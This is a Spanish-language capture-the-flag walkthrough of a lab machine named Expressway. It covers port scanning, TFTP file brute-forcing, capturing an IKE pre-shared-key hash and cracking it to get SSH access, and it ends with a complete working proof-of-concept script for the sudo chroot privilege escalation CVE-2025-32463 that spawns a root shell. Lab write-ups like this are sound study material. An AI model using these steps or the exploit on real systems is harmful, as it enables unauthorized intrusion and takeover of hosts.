Expressway

Sinopsis:
Maquina fácil que pone a prueba tu escaneo de puertos y el uso de protocolos poco usuales para los que están empezando

Procedimiento:
Empecemos con un escaneo de puertos para obtener información del objetivo

```
sudo nmap -sS -n -Pn -T5 --open -p- -v <ip objetivo>
```

```
❯       sudo nmap -sS -n -Pn -T5 --open -p- -v 10.129.238.52
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-27 11:42 EST
Initiating SYN Stealth Scan at 11:42
Scanning 10.129.238.52 [65535 ports]
Discovered open port 22/tcp on 10.129.238.52
SYN Stealth Scan Timing: About 34.87% done; ETC: 11:44 (0:00:58 remaining)
Completed SYN Stealth Scan at 11:44, 90.20s elapsed (65535 total ports)
Nmap scan report for 10.129.238.52
Host is up (0.20s latency).
Not shown: 36956 closed tcp ports (reset), 28578 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 90.29 seconds
           Raw packets sent: 111558 (4.909MB) | Rcvd: 37546 (1.502MB)
```

El escaneo eso no nos da información util de la maquina, solo nos muestra un servicio. En casos como estos hay que ver otro tipos de puertos porque el escaneo anterior es para puertos TCP por lo que ahora vamos a ver los puertos UDP. Nota como el escaneo UDP es mucho mas lento que TCP vamos a escanear solo 500 puertos en este caso

```
sudo nmap -n -Pn -T3 -sSU --open --top-ports 500 -v 10.129.238.52
```

```
PORT     STATE         SERVICE
22/tcp   open          ssh
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
500/udp  open          isakmp
4500/udp open|filtered nat-t-ike

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 532.12 seconds
           Raw packets sent: 1442 (67.140KB) | Rcvd: 1118 (63.796KB)
```

ahora hay que intentar obtener un poco mas de información de los puertos resultantes

```
nmap 10.129.238.52 -sCV -p22,68,69,500,4500 -sU
```

```
❯ nmap 10.129.238.52 -sCV -p22,68,69,500,4500 -sU
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-27 12:28 EST
Nmap scan report for 10.129.238.52
Host is up (0.19s latency).

PORT      STATE         SERVICE   VERSION
22/udp    closed        ssh
68/udp    open|filtered dhcpc
69/udp    open          tftp      Netkit tftpd or atftpd
500/udp   open          isakmp?
| ike-version:
|   attributes:
|     XAUTH
|_    Dead Peer Detection v1.0
4500/udp open|filtered nat-t-ike
```

no da información muy util para nosotros. por ahora ignoremos el puerto 68 porque no parece que podamos interactuar con el y enfoquémonos en el puerto 69 y 500

empecemos con el **puerto 69**, el servicio **tftp** es una forma de transferir archivos pero no tiene un comando para listarlos por lo cual no podremos obtener nada de el sin saber el nombre primero en este caso voy a utilizar metasploit para comprobar con fuerza bruta los archivos porque es una herramienta muy accesible, no es la única con la que se puede hacer esto

abrimos metasploit

```
msfconsole -q
```

ejecutamos los siguientes comandos en la consola

```
use auxiliary/scanner/tftp/tftpbrute
set RHOSTS <ip objetivo>
run
```

```
❯ msfconsole -q
msf > use auxiliary/scanner/tftp/tftpbrute
msf auxiliary(scanner/tftp/tftpbrute) > set RHOSTS 10.129.238.52
RHOSTS => 10.129.238.52
msf auxiliary(scanner/tftp/tftpbrute) > run
[+] Found ciscortr.cfg on 10.129.238.52
[+] Found code.img on 10.129.238.52
[+] Found default.ini on 10.129.238.52
[+] Found P003-07-5-00.sbn on 10.129.238.52
[+] Found SoundPointIPWelcome.wav on 10.129.238.52
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
[+] Found ciscortr.cfg on 10.129.238.52
[+] Found code.img on 10.129.238.52
[+] Found default.ini on 10.129.238.52
[+] Found P003-07-5-00.sbn on 10.129.238.52
[+] Found SoundPointIPWelcome.wav on 10.129.238.52
```

encontramos 5 archivos utilizando fuerza bruta. y ahora hay que intentar descargarlos

```
ftfp 10.129.238.52
```

```
❯ tftp 10.129.238.52
tftp> get ciscortr.cfg
tftp> get code.img
Error code 1: File not found
tftp> get default.ini
Error code 1: File not found
tftp> get P003-07-5-00.sbn
Error code 1: File not found
tftp> get SoundPointIPWelcome.wav
Error code 1: File not found
tftp> quit
```

solo logramos descargar 1 de los 5 archivos. En mi caso me crea los archivos vacios por lo que tengo que limpiar todo los que dieron error.
revisemos el contenido de `ciscortr.cfg`

```
cat  ciscortr.cfg
```

```
23
24  enable password *****
25
26  !
27
28  username ike password *****
29
30  ip subnet-zero
31
32  ip cef
33
34  !
35
36  vpdn enable
37
38      vpdn-group 1
39
40      request-dialin
41
42      protocol pppoe
43
```

```
148  crypto isakmp client configuration group rtr-remote
149
150      key secret-password
151
152      dns 208.67.222.222
153
154      domain expressway.htb
155
156      pool dynpool
157
```

encontramos un poco de información relevante como el nombre del dominio y un posible usuario. Voy adelantando que el dominio no se necesita para la resolución de la maquina
Pasemos al puerto 500. Este puerto es especial y esta relacionado con el puerto 4500. Para comprender mas sobre este puerto puede buscar en internet sobre el.
Primero hay que ver que ocurre al interactuar con el servicio

```
ike-scan -M <ip objetivo>
```

```
❯ ike-scan -M 10.129.238.52
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52   Main Mode Handshake returned
        HDR=(CKY-R=22f63b7acb61e911)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned in 1.307 seconds (0.77 hosts/sec).  1 returned handshake; 0 returned notify
```

lo importante de la respuesta es **1 returned handshake; 0 returned notify**, eso nos dice que podemos continuar sin tener que descubrir que transformaciones son aceptables
el siguiente comando es para obtener un poco mas de información del servicio

```
ike-scan -M --showbackoff <ip objetivo>
```

```
❯ ike-scan -M --showbackoff 10.129.238.52
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52   Main Mode Handshake returned
        HDR=(CKY-R=1406d30c6a990914)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

IKE Backoff Patterns:

IP Address      No.     Recv time               Delta Time
10.129.238.52   1       1772215273.350372       0.000000
10.129.238.52   Implementation guess: Linksys Etherfast

Ending ike-scan 1.9.6: 1 hosts scanned in 60.496 seconds (0.02 hosts/sec).  1 returned handshake; 0 returned notify
```

Para continuar hay que comprobar si recibimos un hash ejecutar el siguiente comando, en caso de recibirlo significa que no podemos obtener el ID a travez de fuerza bruta

```
ike-scan -P -M -A -n fakeID <IP objetivo>
```

```
❯ ike-scan -P -M -A -n rtr-remote 10.129.238.52
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52   Aggressive Mode Handshake returned
        HDR=(CKY-R=349201642b2df3b6)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
8965b84263d832cf1bef7e047b25688dca3ff1754ac27d7ee1523325df1f0af6bc3c24fa9547acd4ab626b21faae699f54d957b52b5be32d3b961843d145705c8f2821938f2f3e0287d44fb3347a4fb8a814829f2806c293ca394ef909f9fd0e4559a0e505bd12d
b98d8c5183fae7b4829cb6f70e1a13ffa69671ed920b168b5:88bc7c1f6a1db0c36089c996455b48a32a31549663e8516b9f75af31402775159df0314aa460ad787641b9b9d272a875cee6357048dbc8d27577aa50618fd863202993852153 9c1d2f6d8c9dfaf45
54f2b7e73040580cfc5e4c508a243c39c341e61b6003dbc0733c1d052ace973cdb6c8a60d97de32bf0f6b54c4591060d21d:349201642b2df3b6:7932e89392cc4577:0000000010000000100000098010100040300002401010008801000580020002800300018
0040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200001
8003000180040002800b0001000c000400007080:03000000696b65406578707265737377617792e687462:c28c885bee60d1205c65cd433d34a8f523643a75:c1be94104eb130f125e84f1bd9dbb0bcf1bd33abb1042ed4a27210d4ff13c728:efff96252999dae
c9fdc8666f1de03031871ae86
Ending ike-scan 1.9.6: 1 hosts scanned in 0.299 seconds (3.34 hosts/sec).  1 returned handshake; 0 returned notify
```

como nos devolvió un hash falso no podemos seguir avanzando con la información que tenemos por que nos falta información como la ID para poder interactuar correctamente con el servicio.
Echémosle un ojo al hash falso crackeandolo en el proceso. haz un archivo con el hash como puede ser hash2.txt y lo procesamos para poder crackearlo

```
ikescan2john hash2.txt > hash2
john -w=/usr/share/wordlists/rockyou.txt hash2
```

```
❯ nano hash2.txt
❯ ikescan2john hash2.txt > hash2
❯ john -w=/usr/share/wordlists/rockyou.txt hash2
Using default input encoding: UTF-8
Loaded 1 password hash (IKE, PSK [HMAC MD5/SHA1 32/64])
Cost 1 (hash algorithm used for hmac [1:MD5 2:SHA1]) is 2 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
freakingrockstarontheroad (?)
1g 0:00:00:25 DONE (2026-02-27 13:13) 0.03850g/s 309743p/s 309743c/s 309743C/s freakkout..freak0809
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

el hash nos da la contraseña freakingrockstarontheroad

ahora mismo no tenemos forma de seguir avanzando pero tenemos un nombre de usuario **ike** y una contraseña por lo que podemos intentar conectarnos por ssh con esas credenciales.
ike:freakingrockstarontheroad

```
ssh ike@10.129.238.52
```

```
❯ ssh ike@10.129.238.52
ike@10.129.238.52's password:
Last login: Fri Feb 27 16:08:12 GMT 2026 from 10.10.14.97 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 27 18:16:55 2026 from 10.10.14.97
ike@expressway:~$ cat user.txt
```

logramos conectarnos como ike al objetivo, ahora hay que buscar una forma de escalar privilegios. viendo Permisos etc

```
ike@expressway:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

Password:
Sorry, user ike may not run sudo on expressway.
ike@expressway:~$ sudo --version
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
ike@expressway:~$
```

Al buscar un poco por posibles vulnerabilidades esa version de sudo es vulnerable a escalacion de privilegios
https://www.exploit-db.com/exploits/52352
solo hay que hacer un script con el código malicioso en el objetivo
en mi caso es **sudoexploit.sh**

```bash
#!/bin/bash
# sudo-chwoot.sh - PoC CVE-2025-32463
set -e

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"

# 1. NSS library
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void woot(void) {
    setreuid(0,0);          /* change to UID 0 */
    setregid(0,0);          /* change  to GID 0 */
    chdir("/");             /* exit from chroot */
    execl("/bin/bash","/bin/bash",NULL); /* root shell */
}
EOF

# 2. Mini chroot with toxic nsswitch.conf
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc            # make getgrnam() not fail

# 3. compile libnss_
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "[*] Running exploit…"
sudo -R woot woot                 # (-R <dir> <cmd>)
                                   # • the first “woot” is chroot
                                   # • the second “woot” is and inexistent
command
                                   #   (only needs resolve the user)

rm -rf "$STAGE"
```

le damos permisos de ejecución al script y lo ejecutamos.

```
ike@expressway:~$ ls
sudoexploit.sh  user.txt
ike@expressway:~$ chmod +x sudoexploit.sh
ike@expressway:~$ ./sudoexploit.sh
[*] Running exploit…
root@expressway:/# cd /root
root@expressway:/root# ls
root.txt
root@expressway:/root# cat root.txt
```

Felicidades haz completado Expressway